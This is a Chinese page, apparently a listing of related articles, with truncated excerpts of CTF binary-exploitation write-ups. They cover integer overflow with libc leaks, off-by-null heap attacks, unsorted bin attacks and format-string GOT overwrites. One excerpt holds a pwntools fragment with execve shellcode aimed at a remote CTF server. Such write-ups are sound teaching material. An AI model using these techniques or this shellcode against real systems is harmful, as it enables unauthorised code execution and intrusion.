[BUUCFT]PWN——pwn2_sctf_2016】的更多相关文章

pwn2_sctf_2016[整数溢出+泄露libc] 题目附件 步骤: 例行检查,32位,开启了nx保护 试运行一下程序,看看大概的执行情况 32位ida载入,shift+f12检索程序里的字符串,没有看到现成的system和'/bin/sh',加上开启了NX保护,估计是泄露libc类型的题目 从main函数开始看程序,main函数就调用了一个vuln函数 注意第7行的输入函数不是get,是程序自定义的函数get_n, 接受a2个长度的字符串并放到vuln函数的缓冲区内部,但是a2传入的值类型…
看师傅们wp的时候,我才知道这个道题是wiki上面的例题.我看了一些师傅的wp,发现大家都是一种做法,都是通过mmap堆地址,来找libc基地址的.而我试了一下fastbisn attack,发现也可以做出来,也是自己第一次做off by null,所以特此记录一下. step1:leak heap addr 刚进去之后程序会让输入一个author_name,在bss段,可以输入0x20个字节,并且存在off by null漏洞,意味着可以在0x21处写入"\x00". 通过动态调试发…
Pwn Collections Date from 2016-07-11 Difficult rank: $ -> $$... easy -> hard CISCN 2016 pwn-1 $$ From this challenge I find it better to learn about ELF file type & C program's construction You'd better learn how to use pwntool or zio fluently T…
一.pwn1 简单的32位栈溢出,定位溢出点后即可写exp gdb-peda$ r Starting program: /usr/iscc/pwn1 C'mon pwn me : AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAq…
80pts: 栈溢出,gdb调试发现发送29控制eip,nx:disabled,所以布置好shellcode后getshell from pwn import * #p=process('./tc1') p=remote('106.75.9.11',20000) nop='\x90'*19 buf='\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x8…
比赛过去了两个月了,抽出时间,将当时的PWN给总结一下. 和线上塞的题的背景一样,只不过洞不一样了.Checksec一样,发现各种防护措施都开了. 程序模拟了简单的堆的管理,以及cookie的保护机制.漏洞是一个内存未初始化漏洞,就是申请内存的时候,上一次的内存还未清0,这个时候通过构造特定输入可以使用内存中仍有的内容.这样的话,容易造成数组的越界读写.就是通过数组的越界读写将程序的基址,libc的基址,堆的基址,cookie都给泄露了出来.通过构造任意地址写,将虚表指针覆盖为gadget地址,…
0x00 简介 入职之后,公司发布任务主搞pwn和re方向,re之前还有一定的了解,pwn我可真是个弟弟,百度了一番找到了蒸米大佬的帖子,现在开始学习. 0x01 保护方式 NX (DEP):堆栈不可执行 ASLR:内存地址随机化,在linux和pie相结合,aslr是系统是否开启,有0.1.2三个等级,而pie是程序自身是否开启,两者共同作用有不同的效果,如下图. Canary(GS):栈保护,栈被溢出时,会触发异常 RELRO:GOT不可更改 0x02 栈溢出 额外说一句,gcc如何对各种保…
本来以为应该能出一两道ctf的pwn了,结果又被sctf打击了一波. bufoverflow_a 做这题时libc和堆地址都泄露完成了,卡在了unsorted bin attack上,由于delete会清0变量导致无法写,一直没构造出unsorted bin attack,后面根据wp发现只要修改一下free的顺序就行了. 这题的主要功能如下: 正常的堆题模板,1是申请堆,2是删除堆,3是写刚申请的堆,4是输出刚申请的堆的内容,5结束. 首先泄露libc的地址,申请堆只能申请0x7f到0x100…
whctf2017的一道pwn题sandbox,这道题提供了两个可执行文件加一个libc,两个可执行文件是一个vuln,一个sandbox,这是一道通过沙盒去保护vuln不被攻击的题目. 用ida打开vuln: 进入80485CB函数: 这里s给的空间是48但是输入是直到换行停止,这里就存在了栈溢出.但是这道题目开了CANARY,所以不能直接覆盖到返回地址.注意到这题,s的空间下面就是v5,而v5是控制写到s的位置,所以可以通过覆盖v5到返回地址而绕过修改那段Cookie,在不开sandbox的…
刚刚开始学习pwn,记录一下自己学习的过程. 今天get了第二道pwn题目的解答,做的题目是2017年TSCTF的easy fsb,通过这道题了解了一种漏洞和使用该漏洞获取shell的方法:即格式化字符串漏洞,通过找到printf的got表改为system的got表,从而让执行printf函数变成执行system函数再传入/bin/sh参数,从而让程序执行system('/bin/sh')获取shell. 打开ida查看: 程序逻辑就是执行getname()函数. 进入getname()函数:…